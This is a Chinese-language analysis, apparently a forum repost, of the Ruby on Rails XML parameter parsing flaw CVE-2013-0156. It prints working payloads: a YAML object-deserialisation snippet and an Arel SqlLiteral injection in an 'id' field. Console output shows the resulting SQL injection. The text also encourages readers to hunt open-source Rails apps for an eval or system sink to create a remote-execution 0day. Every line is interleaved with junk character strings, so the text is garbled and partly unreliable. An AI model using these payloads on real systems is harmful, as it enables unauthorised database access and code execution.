Author: wofeiwo#80sec.com
) u0 h* s- E) s! q7 L4 f
- R8 Q2 T5 Y8 }0 E: I注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 ( O* e1 H: {! Y9 y- }
. ^& i$ e: O% A( I% j近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. 1 u: |% d# z( c% H0 I
. n7 }0 V0 I# H1 l5 c$ GCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. 0 `+ z4 F! \# B2 b& Q" S, V
@0 J, M& s8 f; t, o5 I7 z
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 7 } O6 U* Q* m' K: G4 ]9 S
+ @+ u# A* y5 M+ u% v3 I" \7 m( [
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
" m& d3 Y: H2 s+ h
7 Z# l; q9 V4 K# k% R, _- x"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. 3 c2 U- }( l3 p
% c- n/ F" E# W
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? & @: ^! u1 @1 {; t
9 a$ ~2 E9 p! }2 B然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
8 O; k& x' {& T4 j& k! J* E( Q) O
但是等等,还有另一个参数类型,yaml。 / Y$ E) j- G9 i; E5 m) w1 n
( P& A, ^! B# ?; |% Y0 t: K- h1 W0 \yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 3 u+ x: B, Q* v. k6 U; T
" [5 c9 w# a) w7 V' A2 H, B9 Q
<test type="yaml">--- !ruby/object:A* @) q K# R6 y& d9 r
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
) r4 \; [' q f0 d" J$ s7 K+ t% f+ e9 `" K7 \
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
3 B4 d0 p' D. B( R4 I% u# ?2 {+ h% G; d+ V* g4 `
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 0 M6 J. c5 L; k: D- P! I# ^
( l3 U( W/ ~- W- u7 |! x' P2 z一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
/ y6 i7 H9 F5 m* [' g' J
$ l0 e- Z" N- M7 [; U: Xmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容: & g$ w' ?; A* w2 \) O6 u; [
! e$ w8 b% N. R. h9 s1 T
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
( J/ I* i6 {3 e' V, |& e1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 , Z3 I2 Q) t! o! c) @$ R% o: {8 b+ O# l
$ I3 E5 ?$ {5 E$ K- u1 U
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 0 A' J5 X5 I7 { D
- z* ^: o3 X, Y6 f
|